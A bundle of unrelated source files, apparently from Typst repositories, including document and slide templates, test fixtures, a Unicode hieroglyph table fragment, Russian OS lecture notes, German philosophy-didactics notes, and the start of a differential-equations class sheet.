("EGYPTIAN HIEROGLYPH Y004", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y005", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y006", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y007", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y008", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z001", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z002", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z002B", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z002C", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z002D", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z003", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z003B", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z004", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z004A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z005", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z006", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z007", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z008", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z009", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z010", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z011", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z012", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z013", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z014", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015B", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015C", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015D", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015E", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015F", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015G", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015H", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z015I", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016B", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016C", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016D", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016E", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016F", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016G", "Lo", 0),
("EGYPTIAN HIEROGLYPH Z016H", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA001", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA002", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA003", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA004", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA005", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA006", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA007", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA007A", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA007B", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA008", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA009", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA010", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA011", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA012", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA013", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA014", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA015", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA016", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA017", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA018", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA019", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA020", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA021", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA022", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA023", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA024", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA025", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA026", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA027", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA028", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA029", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA030", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA031", "Lo", 0),
("EGYPTIAN HIEROGLYPH AA032", "Lo", 0),
("EGYPTIAN HIEROGLYPH V011D", "Lo", 0),
)
|
https://github.com/Myriad-Dreamin/tinymist | https://raw.githubusercontent.com/Myriad-Dreamin/tinymist/main/crates/tinymist-query/src/fixtures/inlay_hints/math_markup_mod.typ | typst | Apache License 2.0 | #let f(x, y) = [#(x + y)];
$lr(#f(1, 2))$ |
https://github.com/caro3dc/templatat | https://raw.githubusercontent.com/caro3dc/templatat/main/style.typ | typst | #let template(title, code, cs, doc) = {
/* colours section */
let author = "<NAME>"
let bg = rgb("#f8ece1"); // BG; 50
let tc = rgb("#353542"); // Text; 950
let ac = rgb("#355eb4"); // Accent; 600
let la = rgb("#eac879"); // lightAccent; 300
let da = rgb("#7f1e33"); // darkAccent; 800
if (cs == "red"){ bg = rgb("#FEF2F2"); tc = rgb("#450A0A"); ac = rgb("#DC2626"); la = rgb("#FECACA"); da = rgb("#991B1B") }
else if (cs == "orange") { bg = rgb("#FFF7ED"); tc = rgb("#431407"); ac = rgb("#EA580C"); la = rgb("#FED7AA"); da = rgb("#9A3412") }
else if (cs == "yellow") { bg = rgb("#FEFCE8"); tc = rgb("#422006"); ac = rgb("#CA8A04"); la = rgb("#FEF08A"); da = rgb("#854D0E") }
else if (cs == "lime") { bg = rgb("#F7FEE7"); tc = rgb("#1A2E05"); ac = rgb("#65A30D"); la = rgb("#D9F99D"); da = rgb("#3F6212") }
else if (cs == "green") { bg = rgb("#F0FDF4"); tc = rgb("#052E16"); ac = rgb("#16A34A"); la = rgb("#BBF7D0"); da = rgb("#166534") }
else if (cs == "teal") { bg = rgb("#F0FDFA"); tc = rgb("#042F2E"); ac = rgb("#0D9488"); la = rgb("#99F6E4"); da = rgb("#115E59") }
else if (cs == "sky") { bg = rgb("#F0F9FF"); tc = rgb("#082F49"); ac = rgb("#0284C7"); la = rgb("#BAE6FD"); da = rgb("#075985") }
else if (cs == "blue") { bg = rgb("#EFF6FF"); tc = rgb("#172554"); ac = rgb("#2563EB"); la = rgb("#BFDBFE"); da = rgb("#1E40AF") }
else if (cs == "indigo") { bg = rgb("#EEF2FF"); tc = rgb("#1E1B4B"); ac = rgb("#4F46E5"); la = rgb("#C7D2FE"); da = rgb("#3730A3") }
else if (cs == "purple") { bg = rgb("#FAF5FF"); tc = rgb("#3B0764"); ac = rgb("#9333EA"); la = rgb("#E9D5FF"); da = rgb("#6B21A8") }
else if (cs == "magenta") { bg = rgb("#FDF4FF"); tc = rgb("#4A044E"); ac = rgb("#C026D3"); la = rgb("#F5D0FE"); da = rgb("#86198F") }
else if (cs == "pink") { bg = rgb("#FDF2F8"); tc = rgb("#500724"); ac = rgb("#DB2777"); la = rgb("#FBCFE8"); da = rgb("#9D174D") }
else if (cs == "bluegrey"){ bg = rgb("#F8FAFC"); tc = rgb("#020617"); ac = rgb("#475569"); la = rgb("#E2E8F0"); da = rgb("#1E293B") }
else if (cs == "brown") { bg = rgb("#EFEBE9"); tc = rgb("#3E2723"); ac = rgb("#795548"); la = rgb("#BCAAA4"); da = rgb("#4E342E") }
else if (cs == "grey") { bg = rgb("#FAFAFA"); tc = rgb("#0A0A0A"); ac = rgb("#525252"); la = rgb("#E5E5E5"); da = rgb("#262626") }
else if (cs == "herald") { bg = rgb("#f8ece1"); tc = rgb("#353542"); ac = rgb("#355eb4"); la = rgb("#eac879"); da = rgb("#7f1e33") }
else if (cs == "pine") { bg = rgb("#EFEBE9"); tc = rgb("#022C22"); ac = rgb("#059669"); la = rgb("#B5D6C9"); da = rgb("#065F46") }
/* end colours section */
set page(
fill: bg,
width: 6in,
height: 12in,
margin: (top: 1.25in, bottom: 0.65in, rest: 0.5in),
header: par(leading:0.67em)[#text(10pt)[
#smallcaps[#strong[#author]]
#h(1fr)
#strong[#datetime.today().display(
"[day] [month repr:long] [year repr:full]"
)]
#linebreak()
#title
#h(1fr)
#code
]
#line(length: 100%, stroke: 0.5pt + tc )
],
header-ascent: 0.25in,
numbering: "1 / 1"
)
set text(
fill: tc,
font: "Linux Biolinum",
size: 10pt,
)
set enum(
body-indent: 1em,
tight: false,
indent: 1em
)
set list(indent: 1em, body-indent: 1em)
set heading(numbering: "1.1 ·")
show heading.where(level: 1): hy => [
#set text(fill: bg, size: 1.15em)
#align(center, block(inset: 0.33em, radius: 0.25em, fill: tc, smallcaps[#hy]))
]
show heading.where(level: 2): hy => [
#set text(fill: bg, size: 1.075em)
#align(left, block(inset: 0.33em, radius: 0.25em, fill: da, smallcaps[#hy]))
]
show heading.where(level: 3): hy => [
#set text(fill: bg, size: 1em)
#align(left, block(inset: 0.33em, radius: 0.25em, fill: ac, smallcaps[#hy]))
]
show heading.where(level: 4): hy => [
#set text(fill: tc, size: 1em)
#align(left, block(inset: 0.33em, radius: 0.25em, fill: la, smallcaps[#hy]))
]
set bibliography(style: "american-psychological-association", full: true)
set cite(form: "normal", style: "american-psychological-association")
set par(
justify: true,
leading: 0.85em,
)
set table(
fill: (_, row) => if (calc.even(row)) { la } else {none},
inset: 0.5em,
stroke: 0.5pt + tc,
)
show table: ta => [#align(center)[#ta]]
show par: set block(above: 1em, below: 2em)
show heading: set block(above: 1em, below: 1em)
show cite: set text(da)
show quote: q => text(lang:"fr")[#emph(q)]
set highlight( fill: la, extent: 0.1em)
show highlight: hl => strong[#hl]
set image(width: 55%)
show image: im => [ #rect(fill: none, stroke: 2pt + tc, im, inset: 0pt, ) ]
show figure: fig => [#align(center)[#block(above: 2em, below: 2em, fig)]]
show raw.where(block:true): r => [ #box(inset:0.5em)[#text(font: "Cascadia Code")[#r] ]]
// DONNY FOCKING TOUCH THIS ELSE YON DOCUMENT IS GONE
doc
} |
|
https://github.com/ShapeLayer/ucpc-solutions__typst | https://raw.githubusercontent.com/ShapeLayer/ucpc-solutions__typst/main/lib/ucpc.typ | typst | Other | #import "/lib/colors.typ": color
#import "/lib/utils/make-hero.typ": make-hero
// Theme
#let ucpc(
content,
title: none,
date: none,
authors: (),
paper: "presentation-16-9",
hero: none,
margin: (
top: 2em,
bottom: 3em,
left: 2.5em,
right: 2.5em
),
pallete: (
primary: color.bluegray.at(2),
secondary: white,
)
) = {
// Setup (Before Hero)
set document(
title: title,
author: authors
)
set text(
font: ("Gothic A1", "Pretendard", "Noto Sans CJK KR", "Noto Sans KR", "Noto Sans")
)
set page(
margin: 0%,
paper: paper
)
// Hero Page
if hero != none [
#hero
] else [
#make-hero(
title: title,
authors: authors,
)
]
// Setup (After Hero)
set page(
margin: (
top: margin.top,
bottom: margin.bottom,
left: margin.left,
right: margin.right,
),
footer: text(size: 10pt)[
#columns(2)[
#align(left)[#title]
#colbreak()
#align(right)[#counter(page).display("1")]
]
]
)
content
}
|
https://github.com/Myriad-Dreamin/typst.ts | https://raw.githubusercontent.com/Myriad-Dreamin/typst.ts/main/fuzzers/corpora/bugs/bibliography-math_00.typ | typst | Apache License 2.0 |
#import "/contrib/templates/std-tests/preset.typ": *
#show: test-page
#set page(width: 200pt)
@Zee04
#bibliography("/assets/files/works_too.bib", style: "mla")
|
https://github.com/kotfind/hse-se-2-notes | https://raw.githubusercontent.com/kotfind/hse-se-2-notes/master/os/lectures/2024-09-23.typ | typst | #import "/utils/math.typ": *
== Особенности канальных средств связи
=== Буферизация
Обладает ли канал внутренней памятью
Случаи:
- Буфера нет
Процесс-передатчик блокируется, пока процесс-получатель не считает данные
- Буфер неограниченной емкости (физически не реализуем)
Процесс-передатчик никогда не ждет
- Буфер конечной емкости
Самый частый случай
=== Модель передачи данных
- Потоковая модель
- Операции приема/ передачи не интересуются содержанием данных и их
происхождением
- Данные не структурируются
- Нет разделителей между записываемыми блоками
- Можно считывать любое количество байт
- Модель сообщений
- На данные накладывается некоторая структура
- Отдельные сообщения явно разделены
- Иногда сообщение хранит дополнительные данные, например, имя
процесса-отправителя
- Считывать можно только сообщение целиком
== Примеры средств связи
=== Pipe
- Потоковая модель
- Косвенная адресация
- Читать и писать может любое число процессов
- Однонаправленный
Через pipe могут общаться только процессы-родственники, так как
вход и выход в pipe не видны остальной ОС.
=== FIFO (именованный pipe)
Вход и выход именованы
Теперь общаться могут любые процессы, а не только родственники
== Надежность средств связи
Система считается надежным:
- Нет потери информации
- Нет повреждения информации
- Нет нарушения порядка
- Не появляется лишняя информация
== Как завершить связь?
Специальное действие для завершение нужно, если было нужно специальное средство
для завершения
Если один и процессов больше не будет использовать средство связи, то система
оповещает другой
= Нити исполнения (threads)
```
Ввести массив A
Ожидания ввода A
Ввести массив B
Ожидания ввода B
Ввести массив C
Ожидания ввода C
A = A + B
C = A + C
Вывсети массив C
Ожидание вывода C
```
Процессор много простаивает --- хочется распараллелить: нужен второй процесс:
#figure(
table(
columns: 3,
stroke: none,
table.header[*Процесс 1*][][*Процесс 2*],
[Создание процесса 2], [], [],
[], [Переключение контекста], [],
[], [], [Доступ к общей памяти],
[], [], [Ожидание ввода A и B],
[], [Переключение контекста], [],
[Доступ к общей памяти], [], [],
[], [*TODO*], [],
)
)
Нужны дополнительные действия:
- Породить процесс 2
- Получить разделяемую память
- Нужны переключения контекста
На одноядерной системе это неэффективно из-за доп расходов
Аналогия с железной дорогой:
- Поезд --- процессор с регистрами и данными в стеке
- Стрелки --- условные переходы
- Склады --- данные вне стрека/ операции ввода-вывода
Если два поезда могут ехать одновременно, то получается мультипроцессорная система
Thread --- каждый из поездов
В процессе могут быть несколько thread-ов:
- Общие:
- Системный контекст (всего процесса)
- Код
- Данные вне стека
- Разные:
- Регистровый контекст
- Стек
- Системный контекст thread-а
Для создания нового thread-а используется системный вызов
Между thread-ами есть отношение родитель-ребенок
У thread-ов тоже есть состояния, как и у процессов
Master thread (главная нить) --- нить создаваемая при создании процесса
Thread-ы хороши, так как создавать их "дешевле", чем новые процессы
// TODO
// Процесс находится в сосотонии готовость, если хотя бы одна в состоянии
// готовность и ни одной в сотоии испольненеи
//
// Процесс в состоянии исполнение, если хотя бы одна нить в состоянии исполнение
//
// ОЖидание, если ни одной готовность исполнение, хотя бы одна в ожидании
//
// Закончил исполненеи, если все в исполнии
Thread-ы могут создавать либо на уровне библиотек, либо на уровне ядра
#figure(
table(
columns: 3,
stroke: none,
align: center,
table.header[*Thread 1*][][*Thread 2*],
text(fill: blue)[Создание нити 2], [], [],
[Ввести массив A], [], [],
[Ожидание ввода A], [], [],
[], text(fill: blue)[Переключение контекста], [],
[], [], [Ожидание ввода A и B],
[], text(fill: blue)[Переключение контекста], [],
[Ввести массив B], [], [],
[Ожидание ввода B], [], [],
[Ввести массив C], [], [],
[Ожидание ввода C], [], [],
[], text(fill: blue)[Переключение контекста], [],
[], [], [A = A + B],
[], text(fill: blue)[Переключение контекста], [],
[C = A + C], [], [],
[Вывести массив C], [], [],
[Ожидание вывода C], [], [],
)
)
= Алгоритмы синхронизации
Активность --- последовательное выполнение ряда действий, направленных на
достижение определенной цели
Операции внутри активности считаем атомарными (неделимыми):
между операциями "отвлекаться" можно, во время операции --- нельзя
Активность P из операций a b c
Активность Q из операций d e f
Последовательное выполнения PQ: a b c d e f
Псевдопараллельное выполнение (режим разделения времени):
порядок операций от каждой активности фиксирован, но они могут
чередоваться --- интерливинг. Например, *a* d e *b* *c* f
Если активности зависимы, то могут быть проблемы
Недетерминированный набор --- при одинаковых начальных результатах возможны
разные результаты
Детерминированый набор --- при одинаковых начальных данных результат всегда один
== Условие Бернштейна
Достаточные условия детерминированности набор
Входные данные активности (W): объединение множеств входных данных всех активностей
Выходные данные активности (R): объединение множеств выходных данных всех активностей
Условия (для двух активностей P и Q):
- $W(P) sect W(Q) = emptyset$
- $W(P) sect R(Q) = emptyset$
- $R(P) sect W(Q) = emptyset$
== Как чинить?
Нужно запретить "плохие" чередования
В недетерминированных наборах всегда встречается *race condition* (состояние
гонки).
*Mutual exclusion* (взаимоисключение): если процесс захватил ресурс, то больше
никто другой его не использует. Используется, когда не важно, кто первый
захватил ресурс
*Критические секции* --- участки, которые приводят к появлению race condition
Нужно сделать, чтобы критические секции выполнялись, как атомарные операции. Для
этого нужно ввести "пролог" и "эпилог" для критических секций
```
while (some condition) {
entry section
critical section
exit section
remainder section
}
```
Требования к алгоритмам синхронизации (от Дейкстры?):
- Алгоритм должен быть на уровне software
- Нет предположений об относительных скоростях выполнения и числе ядер
- Выполняется условие взаимоисключения (mutual exclusion) для критических участков
- Выполняется условие прогресса (progress):
Только процессы, готовые войти в критическую секцию, принимаю решение, кто
первый
Решение не должно приниматься за конечное время
- Выполняется условие ограниченного ожидания (bound waiting):
Каждый процесс "не пускают" не более заранее выбранного числа раз
|
|
https://github.com/cyp0633/hnu-bachelor-thesis-typst-template | https://raw.githubusercontent.com/cyp0633/hnu-bachelor-thesis-typst-template/master/authenticity.typ | typst | // 原创性声明和版权使用授权书
#let originality_statement() = [
#align(center)[
#text(font: "Source Han Sans", size: 18pt)[
#par(leading: 2em)[
#pad(top: 1.2em)[
湖 南 大 学#linebreak()
毕业论文（设计）原创性声明
]
]
]
]
#show par: set block(spacing: 1em)
#par()[#text(size: 0.5em)[#h(0.0em)]]
#set par(leading: 1.2em, first-line-indent: 2em)
#text(font: ("Times New Roman", "Source Han Serif"), size: 11.7pt)[
本人郑重声明：所呈交的论文（设计）是本人在导师的指导下独立进行研究所取得的研究成果。除了文中特别加以标注引用的内容外，本论文不包含任何其他个人或集体已经发表或撰写的成果作品。对本文的研究做出重要贡献的个人和集体，均已在文中以明确方式标明。本人完全意识到本声明的法律后果由本人承担。
#box(height: 1em)
学生签名： #h(11em)日期：2024 年 05 月 15 日
]
]
#let copyright_authorization() = [
#align(center)[
#text(font: "Source Han Sans", size: 18pt)[
#par(leading: 2em)[
#pad(top: 2em)[
毕业论文（设计）版权使用授权书
]
]
]
]
#show par: set block(spacing: 1em)
#par()[#text(size: 0.5em)[#h(0.0em)]]
#set par(leading: 1.2em, first-line-indent: 2em)
#text(font: ("Times New Roman", "Source Han Serif"), size: 11.8pt)[
本毕业论文（设计）作者完全了解学校有关保留、使用论文（设计）的规定，同意学校保留并向国家有关部门或机构送交论文（设计）的复印件和电子版，允许论文（设计）被查阅和借阅。本人授权湖南大学可以将本论文（设计）的全部或部分内容编入有关数据库进行检索，可以采用影印、缩印或扫描等复制手段保存和汇编本论文（设计）。
本论文（设计）属于#linebreak()
#h(8em)1、保#h(1em)密#box[#square(size: 0.7em)]，在\_\_\_\_\_\_\_\_年解密后适用本授权书。
#h(8em)2、不保密#box[#square(size: 0.7em)[#text(size: 15pt)[√]]]。
#h(8em)（请在以上相应方框内打“√”）
#box(height: 1em)
#h(1em)学生签名： #h(10em)日期：2024 年 05 月 15 日
#h(1em)导师签名： #h(10em)日期：2024 年 05 月 15 日
]
]
#let toc = [
// 狗屎目录的 dirty fix
#text(size: 0em)[
#heading(level: 1)[毕业论文（设计）原创性声明和毕业论文（设计）版权使用授权书]
]
] |
|
https://github.com/lvignoli/typst-pandoc | https://raw.githubusercontent.com/lvignoli/typst-pandoc/main/test_files/reader_test_file.typ | typst | MIT License | = Title
== First section
Hello *World*, how are _you_?
A sentence with long spaces. They should collapse.
== Second section
I am `fine`. \
You?
Some code
```
func main(){
fmt.Println("Hello World!")
}
```
- One
- Two
- Three
Another list
+ One
+ Two
+ Three
|
https://github.com/piepert/philodidaktik-hro-phf-ifp | https://raw.githubusercontent.com/piepert/philodidaktik-hro-phf-ifp/main/src/parts/spue/planung/panik.typ | typst | Other | #import "/src/template.typ": *
== "Hilfe! Ich habe absolut keine Ideen für meine Stunde!"-Notfalltipps
Diese Liste ist nicht als Schrittfolge zu verstehen, sondern als Möglichkeit, in einzelnen Planungsphasen Ideen zu sammeln.
#orange-list-with-body[*Erschließen des Problemraumes*][
Stellen Sie ihr Stundenthema als #ix("Mindmap") oder #ix("Cluster") dar: Was gehört dazu? Was für Assoziationen können auftreten? Was gibt die philosophische Diskussionslandschaft her? Können Sie sich an anderen orientieren? Was sagen Ihre Mitstudierenden? Wie haben andere das Thema behandelt, gibt es #ix("Lernvideos", "Lernvideo") und Materialien im Internet? (Nicht zur Verwendung, sondern zur Ideenfindung! Achten Sie auf das Urheberrecht und ob die Materialien eine angemessene Qualität haben, sollten Sie vorhaben, diese tatsächlich zu verwenden!)
Je größer ihr fachliches Wissen im entsprechenden Bereich ist, desto eher können Sie sich inhaltlich orientieren und wissen, wie Sie ihren Fokus setzen können. Belesen Sie sich daher, wenn Sie nicht wissen, was Sie behandeln sollen. Dozierende und Mitstudierenden können Ihnen Literaturhinweise geben.
][*Strukturierung*][
Wählen Sie bereits vorhandene Planungsmuster wie das #ix("PEST")- oder #ix("Bonbon-Modell"). Das #ix("Backward Design") ist eine weitere Möglichkeit, die sich besonders in der Rolle der Planenden gut eignet, die Strukturierung der Stunde hinzubekommen.
][*Materialsuche*][
Der Philosophieunterricht muss nicht an einem Fachtext stattfinden, auch wenn dies eine gute Möglichkeit ist, um das Textverständnis zu schulen. Bilder, <NAME>, Comics, Märchen und Fabeln, Anekdoten, Spiele, jeder Gegenstand kann, wenn er geeignet ist, ein Thema zu finden, zum Material der Stunde werden. Material mit Lebensweltbezug ist für die Motivation der SuS hilfreich.
][*#ix("Methoden", "Methode") und #ix("Sozialformen", "Sozialform")*][
#ix("Vielfalt an Methoden", "Methodenvielfalt") und #ix("Sozialformen", "Sozialform") ist zu bevorzugen. Je mehr Aufgaben Sie an die SuS abgeben, desto weniger müssen Sie im Unterricht selbständig an Stoff in Form von Frontalunterricht vermitteln. Beachten Sie, dass nicht jede Klasse für jede Sozialform und Methode geeignet ist. Besprechen sie mit der eigentlichen Lehrkraft der Klasse, womit die SuS bereits gute Erfahrung gemacht haben und wie offen und selbständig sie in Bezug auf neue #ix("Methoden") und #ix("Sozialformen", "Sozialform") sind.
] |
https://github.com/freundTech/kit-slides-typst | https://raw.githubusercontent.com/freundTech/kit-slides-typst/main/kit-slides.typ | typst | Other | //==========================================================
// Karlsruhe Institute of Technology theme for Typst slides.
// Based on the official Powerpoint Theme and Latex Template
//
// You don't need to edit this file. Only presentation.typ
// =========================================================
#import "@preview/polylux:0.3.1": *
#let _kit-outer-margin = 3mm
#let _kit-inner-margin = 11mm
#let _kit-top-margin = 10mm
#let _kit-bottom-margin = 11mm
#let kit-green = rgb(0, 150, 130)
#let kit-blue = rgb(70, 100, 170)
#let green = kit-green
#let blue = kit-blue
#let black70 = rgb(64, 64, 64)
#let brown = rgb(167, 130, 46)
#let purple = rgb(163, 16, 124)
#let cyan = rgb(35, 161, 224)
#let lime = rgb(140, 182, 60)
#let yellow = rgb(252, 229, 0)
#let orange = rgb(223, 155, 27)
#let red = rgb(162, 34, 35)
#let kit-title = state("kit-title", [])
#let kit-subtitle = state("kit-subtitle", [])
#let kit-short-title = state("kit-short-title", none)
#let kit-author = state("kit-author", [])
#let kit-short-author = state("kit-short-author", none)
#let kit-group-logo = state("kit-group-logo", none)
#let kit-institute = state("kit-institute", [])
#let kit-date = state("kit-date", none)
#let kit-show-page-count = state("kit-show-page-count", false)
//=================
// Helper functions
//=================
#let kit-logo(..rest) = context {
if text.lang == "de" {
image("/assets/kit/logo-de.svg", ..rest)
} else {
image("/assets/kit/logo-en.svg", ..rest)
}
}
#let kit-rounded-block(radius: 3mm, body) = {
block(
radius: (
top-right: radius,
bottom-left: radius,
),
clip: true,
body,
)
}
#let kit-list-marker = move(
dy: 0.125em,
kit-rounded-block(
radius: 0.15em,
rect(
// The latex documentclass uses a size of 1ex, but type only supports em.
width: 0.5em,
height: 0.5em,
fill: kit-green,
),
),
)
#let kit-theme(
title: none,
subtitle: none,
short-title: none,
author: none,
short-author: none,
language: "de",
group-logo: none,
institute: none,
date: none,
aspect-ratio: "16-9",
show-page-count: false,
body,
) = {
if language not in ("en", "de") {
panic("Only English (en) and German (de) are currently supported")
}
set page(margin: 0pt, header-ascent: 0pt, footer-descent: 0pt)
// Use power point page sizes, as they differ from default typst page sizes.
set page(width: 25.4cm, height: 14.29cm) if aspect-ratio == "16-9"
set page(width: 25.4cm, height: 15.88cm) if aspect-ratio == "16-10"
set page(width: 25.4cm, height: 19.05cm) if aspect-ratio == "4-3"
if aspect-ratio not in ("16-9", "16-10", "4-3") {
panic("Unsupported aspect ratio")
}
set text(lang: language, font: ("Arial", "Helvetica", "Roboto"))
set list(marker: kit-list-marker)
kit-title.update(title)
kit-subtitle.update(subtitle)
if short-title == none {
kit-short-title.update(title)
} else {
kit-short-title.update(short-title)
}
kit-author.update(author)
if short-author == none {
kit-short-author.update(author)
} else {
kit-short-author.update(short-author)
}
kit-institute.update(institute)
kit-group-logo.update(group-logo)
kit-date.update(date)
kit-show-page-count.update(show-page-count)
body
}
//=================
// slides
//=================
#let title-slide(banner: none) = {
show: polylux-slide
if banner == none {
banner = image("/assets/kit/banner.jpg")
}
// Top half
pad(left: _kit-inner-margin, right: 6mm, top: _kit-top-margin)[
// KIT logo
#place[
#kit-logo(width: 45mm)
]
// Group logo
#place(right)[
#block(width: 30mm, height: 30mm)[
#set image(width: 100%)
#context kit-group-logo.get()
]
]
// Title
#place(dy: 32mm, text(weight: "bold", size: 26pt, kit-title.display()))
// Subtitle
#place(dy: 44mm)[
#set text(weight: "bold", size: 18pt)
#set par(leading: 0.3em)
#kit-subtitle.display()
]
]
// Bottom half
align(
bottom,
pad(x: _kit-outer-margin)[
// Banner
#block(height: 60mm, below: 0pt)[
#kit-rounded-block(radius: 3mm)[
#set image(width: 100%, height: 100%)
#banner
]
]
// Footer
#block(height: _kit-bottom-margin, width: 100%)[
#grid(
columns: (auto, 1fr),
[
#align(left + horizon)[
#block(height: 100%)[
#set text(size: 8pt)
#context {
if text.lang == "en" [
KIT - The Research University in the Helmholtz Association
] else if text.lang == "de" [
KIT - Die Forschungsuniversität in der Helmholtz-Gemeinschaft
]
}
]
]
],
[
#align(
right + horizon,
block(height: 100%)[
#link(
"https://www.kit.edu",
text("www.kit.edu", weight: "bold", size: 16.5pt),
)
],
)
],
)
]
],
)
}
#let slide(title: [], body) = {
// Title bar
let header = block(width: 100%, height: 100%, inset: (x: _kit-inner-margin))[
#grid(
columns: (auto, 1fr),
[
#set text(24pt, weight: "bold")
// We need a block here to force the grid to take the full height of the surrounding block
#block(height: 100%)[
#align(left + bottom, title)
]
],
[
#align(right + bottom)[
#kit-logo(width: 30mm)
]
],
)
]
// Content block
let wrapped-body = block(
width: 100%,
height: 100%,
inset: (x: _kit-inner-margin, top: 15.5mm),
)[
#set text(18pt)
// Default value, but had to be changed for layout
#set block(above: 1.2em)
#body
]
// Footer
let footer = block(width: 100%, inset: (x: _kit-outer-margin))[
#set block(above: 0pt)
#set text(size: 9pt)
#line(stroke: rgb("#d8d8d8"), length: 100%)
#block(width: 100%, height: 100%)[
#align(horizon)[
#grid(
columns: (20mm, 30mm, 1fr, auto),
pad(
left: 6mm,
context if kit-show-page-count.get() [
#logic.logical-slide.display()/#strong(utils.last-slide-number)
] else [
#logic.logical-slide.display()
],
),
kit-date.display(),
[#kit-short-author.display() - #kit-short-title.display()],
align(right, kit-institute.display()),
)
]
]
]
set page(
header: header,
footer: footer,
margin: (top: 22.5mm, bottom: _kit-bottom-margin),
)
polylux-slide(wrapped-body)
}
// This function is left here for backwards compatibility only. Please use #slide(side-by-side[][]) instead.
#let split-slide(title: [], body-left, body-right) = {
let body = grid(
columns: (1fr, 1fr),
gutter: 2em,
body-left, body-right,
)
slide(title: title, body)
}
#let kit-color-block(title: [], color: [], body) = {
// 80% is a rough heuristic, that produces the correct result for all predefined colors.
// Might be adjusted in the future
let title-color = if luma(color).components().at(0) >= 80% {
black
} else {
white
}
kit-rounded-block()[
#block(
width: 100%,
inset: (x: 0.5em, top: 0.3em, bottom: 0.4em),
fill: gradient.linear(
(color, 0%),
(color, 87%),
(color.lighten(85%), 100%),
dir: ttb,
),
text(fill: title-color, title),
)
#set text(size: 15pt)
#block(
inset: 0.5em,
above: 0pt,
fill: color.lighten(85%),
width: 100%,
body,
)
]
}
#let kit-info-block(title: [], body) = {
kit-color-block(title: title, color: kit-green, body)
}
#let kit-example-block(title: [], body) = {
kit-color-block(title: title, color: kit-blue, body)
}
#let kit-alert-block(title: [], body) = {
kit-color-block(title: title, color: red.lighten(10%), body)
}
|
https://github.com/MichaelFraiman/TAU_template | https://raw.githubusercontent.com/MichaelFraiman/TAU_template/main/03.Class.Linear-Differential-Equations.typ | typst | #import "mfraiman-TAU-TA.typ" as ta
#show: doc => ta.conf(
info_file: "info",
class_id: "03",
activity: "Class",
//
doc
)
= Linear Differential Equations
First-order linear equations are equations of the form
$ y' + p(x) y = q(x). $
There are two main methods of solution: integrating factor and variation of parameters.
== Integrating Factor for Linear Equations
We are already familiar with this technique, however, in this case it is much easier to find the factor.
Indeed, suppose $mu = mu(x)$, then $(y mu)' = y'mu + y mu'$, so if we set $mu' slash mu = p$, the equation becomes equivalent to
